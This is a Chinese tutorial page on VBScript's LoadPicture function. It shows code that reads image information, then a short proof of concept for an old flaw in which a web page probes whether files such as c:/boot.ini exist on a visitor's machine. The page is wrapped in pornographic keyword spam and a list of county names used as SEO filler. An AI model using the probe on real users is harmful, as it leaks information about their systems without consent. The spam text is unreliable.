国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

vbs中的LoadPicture函數示例

2020-06-26 18:13:11
字體:
來源:轉載
供稿:網友

vbscript LoadPicture函數可以查看本地圖片的一些信息,不過有些漏洞,純交流可以,不建議使用

示例:
 

  1. <title>LoadPicture函數</title>   
  2. <form name="frm">   
  3.      選擇圖片<input type="file" name="pic" onChange="GetPicInfor()" >   
  4. </form>   
  5. <script language="vbscript">   
  6.  
  7. Sub GetPicInfor()   
  8.      dim objpic,iWidth,iHeight   
  9. dim pictype,picpath   
  10. picpath=document.frm.pic.value   
  11. set objpic=Loadpicture(picpath)   
  12. iWidth = round(objpic.width / 26.4583) '26.4583是像素值   
  13.      iHeight = round(objpic.height / 26.4583)   
  14. select case objpic.type   
  15.             case 0    
  16.                 pictype = "None"    
  17.              case 1    
  18.                 pictype = "Bitmap"    
  19.              case 2    
  20.                 pictype = "Metafile"    
  21.              case 3    
  22.                 pictype = "Icon"    
  23.              case 4    
  24.                 pictype = "Win32-enhanced metafile"    
  25. end select    
  26. document.write "你選擇了圖片"&picpath   
  27. document.write "<li>長度:"&iHeight&"</li>"   
  28. document.write "<li>寬度:"&iwidth&"</li>"   
  29. document.write "<li>類型:"&pictype&"</li>"   
  30. End Sub    
  31. </script>  
不過這個函數有個漏洞,可以探測電腦上存在的文件名。2004年的漏洞,微軟現在也沒補,示例: 
  1. <form onsubmit="doIt(this);return false">    
  2. <input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit">    
  3. </form>   
  4.  
  5. <script language="vbscript">   
  6.  
  7. Sub loadIt(filename)    
  8. LoadPicture(filename)    
  9. End Sub   
  10.  
  11. </script>   
  12.  
  13. <script language="javascript">   
  14.  
  15. function doIt(form) {   
  16.  
  17. try {    
  18. loadIt(form.filename.value);    
  19. catch(e) {    
  20. result = e.number;    
  21. }   
  22.  
  23. if (result != -2146827856) {    
  24. alert('file exists');    
  25. else {    
  26. alert('file does not exist');    
  27. }    
  28. }    
  29. </script>  

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 满城县| 随州市| 明水县| 东城区| 民县| 灵丘县| 嘉善县| 文成县| 德阳市| 龙井市| 鄂托克前旗| 资溪县| 黄骅市| 鄂伦春自治旗| 三穗县| 宜章县| 上饶市| 乌兰浩特市| 安新县| 嘉黎县| 大英县| 饶河县| 宁强县| 郧西县| 永登县| 永靖县| 鹤庆县| 甘谷县| 东阿县| 明溪县| 泗水县| 广饶县| 镇雄县| 元阳县| 邵东县| 建德市| 咸宁市| 北川| 平南县| 遂平县| 西昌市|